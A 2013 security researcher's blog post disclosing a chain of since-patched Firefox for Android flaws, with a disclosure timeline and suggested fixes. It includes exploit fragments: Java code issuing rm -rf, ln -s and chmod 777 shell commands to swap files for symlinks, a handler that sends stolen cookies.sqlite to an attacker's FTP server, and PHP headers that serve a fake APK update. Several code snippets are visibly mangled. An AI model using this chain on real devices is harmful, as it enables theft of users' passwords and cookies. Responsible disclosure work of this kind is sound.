How I met Firefox: A tale about chained vulnerabilities

October 02, 2013
by Sebastián

Pardon sir, May I pwn your browser?

Mozilla Firefox by The Mozilla Foundation is a free and open source web browser. The browser has been developed for Windows, OS X, and Linux, with a mobile version developed for Android.

The main purpose of this article is to show some vulnerabilities recently found in the browser created for Android smartphones. The findings detailed below affect all Firefox Android browser versions below version 24, therefore it is is highly recommended that you update your application to ensure you are not running an outdated version that is suceptible to these vulnerabilities.


The vulnerabilities were fixed by the Mozilla security team after they were discovered and reported. At the end of this article you can find the disclosure timeline as well as the exploit used to trigger the different flaws and a POC video recorded during the exploitation process.

I would like to take a moment to thank both my co-worker Marco Grassi (@marcograss) and the viaForensics (@viaforensics) R&D team.

A quick introduction

While the individual flaws described below don’t constitute a serious or critical vulnerability on their own, using them in combination with other vulnerabilities and exploits can result in the leaking of sensitive data.

Since we can’t trigger the vulnerability solely through a website that contains the malicious payload, this vulnerability itself is not an ideal attack scenario. However it is possible to embed an attack payload in a “friendly” user application. That application would be ready to be installed from Google Play or any other third-party market place, and is a realistic attack vector.

I have to admit that my initial idea was just to try a couple of things on Mozilla Firefox, however after some hours working on it new ideas came to me my research was extended to other famous browsers that are used on a day by day basis.

After discovering a finding on a browser, I sent an email to the developer’s respective security team and got answers worthy of framing, but that’s another story. Today I’d like to introduce each security flaw individually and explain how the flaws may be taken advantage of by an attacker to… pimp your browser.

Issue I - This is not the activity you were looking for

The AndroidManifest file used by Mozilla Firefox is really interesting. In there, one activity in particular caught my attention:


36 <activity android:theme=”@style/Gecko.App” android:label=”Firefox” android:name=”App”

android:launchMode=”singleTask” android:configChanges=”mcc|mnc|keyboard|keyboardHidden|orientation|

screenSize” android:windowSoftInputMode=”adjustResize”>



Although it is not declared when exported, this activity makes use of an intent-filter which, by definition, specifies the types of intents that an activity, service, or broadcast receiver can respond to and basically declares the capabilities of its parent component. This opens the component to receiving intents of the advertised type while filtering out those that are not meaningful to the component.

In brief, this activity is exported. Furthermore it adds support to the ‘file’ scheme and the mimeType “text/html”, “text/plain” and “application/xhtml+xml”, which means that we can open a html, plain or xhtml+xml file located on our device. Are we on the same boat?.

With the activity described previously, we can force the browser to open any file ( supported by the scheme and mimeType mentioned earlier ) located under the path ‘/data/data/org.mozilla.firefox’. Since the request is using Mozilla’s PID it is also trusted by the system.

Currently, everything seems normal. This behaviour should not pose a security concern for the users. What could possibly go wrong?

Let’s summarize our first finding. We now know that it is possible to open files with mimeTypes as text/html, text/plain or application/xhtml+xml located on the external storage or in the private folder used by Mozilla to deploy user’s information and data.

Issue II - Mr. JavaScript

The next thought that came to my mind was: How could it be possible to open and read those files supported by neither the scheme nor mimeType?

As you may know, most browsers use a sqlite database among other filetypes to store private data such as credentials, cookies, preferences, downloads, etc. That’s a nice vector attack. The files located under the sdcard can be exfiltrated for any app that requires the EXTERNAL_STORAGE permission, however the information used by an application remains private and accessible only by its owner. This is due to the Android Application Sandbox, which isolates the app data and code execution from other apps.

This does not pose an issue at all since we are running our test using Mozilla’s PID, however it is necessary to figure out how we can benefit from this situation in order to open any file located in Mozilla’s private folder.

If we can open a HTML file, it is much more likely that we can also load and execute JavaScript code. The File API included on HTML5 finally provides a standard way to interact with local files, yet there is an restriction with this API: we can’t automate the process and embed the file(s) that we would like to open. In this case, user interaction to manually choose the file is a necessity.

Although the following piece of code requires user interaction, it was fundamental for our research to progress due to the fact that we just discovered an alternative to extract the information on those files not supported by the scheme or mimeType:


<input type = “file” id = “fileinput” / >

Notwithstanding the argument that this solution is far from being definitive, the essence of this issue is that we found a way to open the restricted files and do whatever we want with their content.

Captura de pantalla 2013-10-01 a la(s) 17.17.02
Figure 1 - **downloads.db** file being printed

<br >

Issue III - I know your secrets

One of the security measures implemented in Firefox to protect user’s information is the use of a salted string as folder name. When the application is installed and executed for first time it deploys the following directories hierarchy:


root@mako:/data/data/org.mozilla.firefox # ls -l

drwxrwx–x u0_a108 u0_a108 2013-09-07 20:44 app_plugins

drwxrwx–x u0_a108 u0_a108 2013-09-07 20:44 app_plugins_private

drwxrwx–x u0_a108 u0_a108 2013-09-09 21:33 app_tmpdir

drwxrwx–x u0_a108 u0_a108 2013-09-18 13:18 cache

drwxrwx–x u0_a108 u0_a108 2013-09-07 20:44 files

lrwxrwxrwx install install 2013-09-30 23:07 lib -> /data/app-lib/org.mozilla.firefox-2

drwx—— u0_a108 u0_a108 2013-09-07 20:44 res

drwxrwx–x u0_a108 u0_a108 2013-10-01 11:22 shared_prefs


Inside the files/mozilla directory there is a new directory generated at runtime when the user installs the application. In this case the name is 048dfjrb.default:


root@mako:/data/data/org.mozilla.firefox/files/mozilla # ls -la

drwx—— u0_a108 u0_a108 2013-09-19 00:00 048dfjrb.default

drwx—— u0_a108 u0_a108 2013-09-18 13:16 Crash Reports

-rw——- u0_a108 u0_a108 107 2013-09-07 20:44 profiles.ini

drwx—— u0_a108 u0_a108 2013-09-18 13:18 webapps


All the databases that contain sensitive information such as passwords, downloads, cookies, sessionstore, among other important information are stored on that path. Interesting huh?:


root@mako:/data/data/org.mozilla.firefox/files/mozilla/048dfjrb.default # ls -la

-rw——- u0_a108 u0_a108 0 2013-09-18 13:18 .parentlock

drwx—— u0_a108 u0_a108 2013-09-07 20:44 Cache

-rw——- u0_a108 u0_a108 1 2013-09-09 21:33 CACHE_CLEAN

-rw——- u0_a108 u0_a108 45381 2013-09-18 13:19 blocklist.xml

-rw-rw—- u0_a108 u0_a108 167936 2013-09-18 13:18 browser.db

-rw-rw—- u0_a108 u0_a108 32768 2013-09-18 13:18 browser.db-shm

-rw-rw—- u0_a108 u0_a108 32992 2013-09-18 13:18 browser.db-wal

-rw——- u0_a108 u0_a108 229376 2013-09-08 21:07 cert9.db

-rw——- u0_a108 u0_a108 184 2013-09-18 13:16 compatibility.ini

-rw——- u0_a108 u0_a108 131072 2013-09-09 00:10 cookies.sqlite

-rw——- u0_a108 u0_a108 32768 2013-09-19 00:00 cookies.sqlite-shm

-rw——- u0_a108 u0_a108 590288 2013-09-19 00:00 cookies.sqlite-wal

-rw——- u0_a108 u0_a108 98304 2013-09-09 21:33 downloads.sqlite

-rw——- u0_a108 u0_a108 196608 2013-09-07 20:44 formhistory.sqlite

-rw-rw—- u0_a108 u0_a108 73728 2013-09-18 13:55 health.db

-rw——- u0_a108 u0_a108 41552 2013-09-18 13:55 health.db-journal

drwx—— u0_a108 u0_a108 2013-09-08 21:07 indexedDB

-rw——- u0_a108 u0_a108 294912 2013-09-07 20:44 key4.db

-rw——- u0_a108 u0_a108 169 2013-09-07 20:44 localstore.rdf

lrwxrwxrwx u0_a108 u0_a108 2013-09-18 13:18 lock ->

drwx—— u0_a108 u0_a108 2013-09-07 20:44 minidumps

-rw——- u0_a108 u0_a108 65536 2013-09-18 13:19 permissions.sqlite

-rw——- u0_a108 u0_a108 886 2013-09-07 20:44 pkcs11.txt

-rw——- u0_a108 u0_a108 1725 2013-09-18 13:55 prefs.js

-rw——- u0_a108 u0_a108 91 2013-09-18 13:16 profile_info_cache.json

-rw——- u0_a108 u0_a108 546 2013-09-18 13:17 recommended-addons.json

drwx—— u0_a108 u0_a108 2013-09-19 00:00 safebrowsing

-rw——- u0_a108 u0_a108 10018 2013-09-08 21:07 search.json

-rw——- u0_a108 u0_a108 188 2013-09-18 13:16 sessionstore.bak

-rw——- u0_a108 u0_a108 244 2013-09-18 13:18 sessionstore.js

-rw——- u0_a108 u0_a108 327680 2013-09-07 20:44 signons.sqlite

drwx—— u0_a108 u0_a108 2013-09-18 13:20 startupCache

-rw——- u0_a108 u0_a108 27 2013-09-07 20:44 times.json

-rw——- u0_a108 u0_a108 154 2013-09-18 13:18 urlclassifierkey3.txt

-rw——- u0_a108 u0_a108 32768 2013-09-07 20:44 webappsstore.sqlite

-rw——- u0_a108 u0_a108 32768 2013-09-18 13:18 webappsstore.sqlite-shm

-rw——- u0_a108 u0_a108 295160 2013-09-08 21:35 webappsstore.sqlite-wal


But as you may notice, we can’t have remote access to those files if we don’t know the name previously used for the salted directory. Luckily for us there is a easter egg that Mozilla’s guys left for us - if only to make our exploitation process more simple. If you open the file profiles.ini located at /data/data/org.mozilla.firefox/files you can validate your free exploitation coupon for interesting information like:










So… the salted number is stored on a file, and we can parse that file and obtain the specific string using our JavaScript snippet. Isn’t life wonderful sometimes?

Figure 2 - **profile.ini** file being printed

Let’s summarize our previous findings and discuss their respective obstacles:

  • **Issue I** - We've been able to launch Mozilla Firefox by passing as an argument the file to be loaded using the scheme 'file://'. This allowed us to print any private file stored at /data/data/org.mozilla.firefox which has as MIME type: * text/html * text/plain * application/xhtml+xmlThe main impediment is that it's not possible to print sqlite or binary files since their MIME type is not supported by default by the application. Nonetheless, this helped us to know that most sensitive information is stored in those files, so our primary goal since that moment has been to access to that information.
  • **Issue II** - Using the first vulnerability described earlier in combination with this new vector attack, we are now able to open a HTML file and load a malicious payload to perform undesired actions without user's knowledge. We've used this approach to force the user to open a file and print its content. This makes it possible to circumvent the restriction experienced during the first stage of our attack, with the idea being that if we can load a JavaScript payload and force the browser to execute it, then we can perform whatever actions we want as the user. In this occasion we still require user's interaction to open those files of interest, and apparently there isn't a solution to open a local file that read another one due to **Same Origin Policy (SOP)** implemented in the browser. Since JavaScript execution is possible, we need to figure out a way to bypass the SOP mechanism and perform undesired actions without user's knowledge, such as stealing all the files under the private folder.
    • Issue III - The sensitive information is stored in a folder that uses a salted string as name. This doesn’t pose an obstacle since we can retrieve the file from the profiles.ini resource and, using the vulnerabilities described previously, we can parse the file and obtain the string - allowing us to move forward with our attack

    <hr width=”80%” >
    As we discussed previously, there are some security mechanisms that don’t allow us to leak all the files stored in Firefox private folder. One of these is the Same Origin Policy, which permits scripts running on pages originating from the same site - hostname, port number and scheme - to access each other’s methods and properties with no specific restrictions, however prevents access to most methods and properties across pages on different sites.

    The approach used to bypass the SOP protection was to read the files by parsing their content. For this approach, the initial JavaScript snippet deployed on the device was used and iterated through the files at runtime using a symlink.


    Wait a few seconds.


    This was the initial script used which required a user’s interaction to perform the symlink operation. Basically, once you load this snippet in the browser it will read its content and will prompt the user with a pop-up which contains the data every certain seconds. We can iterate through the different files by launching this command in the phone:

    We can iterate through the different files by launching this command in the phone:





    • Before xhr var refreshes the browser, the Android application will replace the malicious HTML file with a symlink pointing to any other file located at /sdcard or /data/data/org.mozilla.firefox.
    • When xhr triggers the attack, Mozilla Firefox follows the symlink and provides the file’s content specified by the symbolic link.

    We thought that in order to represent a real risk for the user it was necessary to create something completely automated that didn’t require user’s interactions. This is why we are going to share the application created to trigger and exploit automatically this vulnerability: Source code

    The most interesting parts are:


    public static class SymLinks {

    	public static void replaceFileWithSymlink(String destination, String path) {<br />
    		CMDs.cmd("rm -rf " + path);<br />
    		createSymLink(destination, path);<br />
    	private static void createSymLink(String destination, String path) {<br />
    		CMDs.cmd("ln -s " + destination + " " + path);<br />
    		CMDs.cmd("chmod 777 " + path);<br />
    	public static void removeStuff(String path) {<br />
    		CMDs.cmd("rm -rf " + path);<br />
    	}<br />
    }<br /> [/code]
    **** - Symlinks class, created to perform the symbolic links operations


    public static class WebSockets {
    	public static void setup() {<br />
    		java.lang.System.setProperty("", "false");<br />
    		java.lang.System.setProperty("", "true");<br />
    	public static void cleanup() {
    	}<br />



    **** & **payload.html** - Used together to leak the sensitive information

    <br >

    As you can see we are opening a socket in the Java code to send the information retrieved by the payload.html to a third party server controlled by the attacker. Last but not least, the snippet where we indicate the files that we want to retrieve:


    if (message.startsWith(“sym”)) {

    String firstPayloadPath = JSPayloads.getPathForPayload(mContext, JSPayloads.FIRST_PAYLOAD);

    Utils.SymLinks.replaceFileWithSymlink(Utils.Firefox.PATH_PROFILES_INI, firstPayloadPath);


    } else if (message.startsWith(“msg1”)) {

    // profiles.ini received []intentionally deleted[] we parse it

    String firstPayloadPath = JSPayloads.getPathForPayload(mContext, JSPayloads.FIRST_PAYLOAD);


    int startindex = message.indexOf(“Path=”);

    int endindex = message.indexOf(“.default”);

    String salt = message.substring(startindex + 5, endindex);

    Log.d(TAG, “got Salted value “ + salt);


    } else if (message.startsWith(“msg2”)) {

    // cookies.sqlite

    String firstPayloadPath = JSPayloads.getPathForPayload(mContext, JSPayloads.FIRST_PAYLOAD);


    String realMessage = message.substring(4);

    Log.e(TAG, realMessage);

    FTPTask ftpTask = new FTPTask();

    ftpTask.execute(realMessage, lastSaltedValue + “-“ + “cookies.sqlite”);




    **** - Where all the magic happens

    <br >

    Issue V - Buy four, get the fifth FREE!

    As you may notice, there is an important piece in this exploitation process: it’s not fully remote because it requires user interaction in order to download and install the malicious application. While it may be true that we can use social engineering and trick the user to do all the process without too much difficulty, if there is another vulnerability that can help us in our exploitation chain… why not use that instead?

    After analyzing the file, we can find interesting functions and intents used by the application to trigger the update process. This process is also vulnerable to the symlink attack, so an attacker can take advantage of this flag in order to change the downloaded APK for another APK with a malicious behavior. Although we didn’t include an exploit for this issue in our initial app, it may be possible to find some PoCs out there.

    Moreover, there is a lack of validation in the Content-Type mechanism implemented in the browser. If this flaw is made public in the Android Security community, it could allow a remote attacker to send an application directly to the installer as if it was downloaded with Firefox directly.

    The code to take advantage of this issue, as shown below, was used in combination with the findings discussed earlier in order to generate a fake updated version of Firefox:


    header('Content-Type: application/');
    header('Content-Disposition: attachment; filename="bunnies_can_fly.apk"');


    <br >

    How to solve this mess

    Not everything in our life will be geared towards destroying applications. Obviously there are multiple solutions that could be implemented to fix these issues. For example, the case at hand has three significant flaws in my opinion. Let’s suggest a possible solution for each of them:

  • **First**, the salted string used as the private folder's name is stored on a file. Additionally, it is possible to retrieve this value by reading the logs once the application has been installed. This is a great example on how not to make things. Sensitive information should not be displayed on logs, and in case of need, the file containing the user's profile information should be ciphered. At the very least doing so would considerably reduce the impact of this chained attack.
    Captura de pantalla 2013-10-02 a la(s) 01.45.01
    **Figure 3** - HEEYY! Look at me, look at me, I'm here! (A wild salted string appeared, praying for its attention).

  • **Secondly**, it is extremely important to avoid opening files stored on the sdcard. Solutions may involve using whitelists or only opening files underneath file:///sdcard, since these are (supposedly) the only files intended to be public on the device. Below is the solution deployed by the Google Chrome browser to avoid this attack.
    #elif defined(OS_ANDROID)
    // Access to files in external storage is allowed.
    base::FilePath external_storage_path;
    PathService::Get(base::DIR_ANDROID_EXTERNAL_STORAGE, &external_storage_path);
    if (external_storage_path.IsParent(path))
    return true; // Whitelist of other allowed directories.
    static const char* const kLocalAccessWhiteList[] = {
    • Last (but definitely not least), GooglePlay implemented a ban for applications who deployed their own update-system - precisely to avoid vulnerabilities such as this.
      <br >

    Disclosure Timeline

    2013-06-20: Initial vulnerabilities discovered.

    2013-06-25: Confirmed all findings internally.

    2013-07-03: Emailed security [at] mozilla [dot] com.

    2013-07-10: Internal ticket opened in bugzilla.

    2013-07-23: Vulnerability confirmed and awarded by their Bug Bounty Program.

    2013-09-18: Marked as resolved by Mozilla.

    2013-09-20: Contacted by Android Police.

    2013-10-02: This report and vulnerability goes to public.

    <br >


    In case you were looking for the resources used to exploit this vulnerability, you can clone the repository created specially for this vulnerability on GitHub:

    Also, a video was recorded while I was performing this research:

    Back to the Blog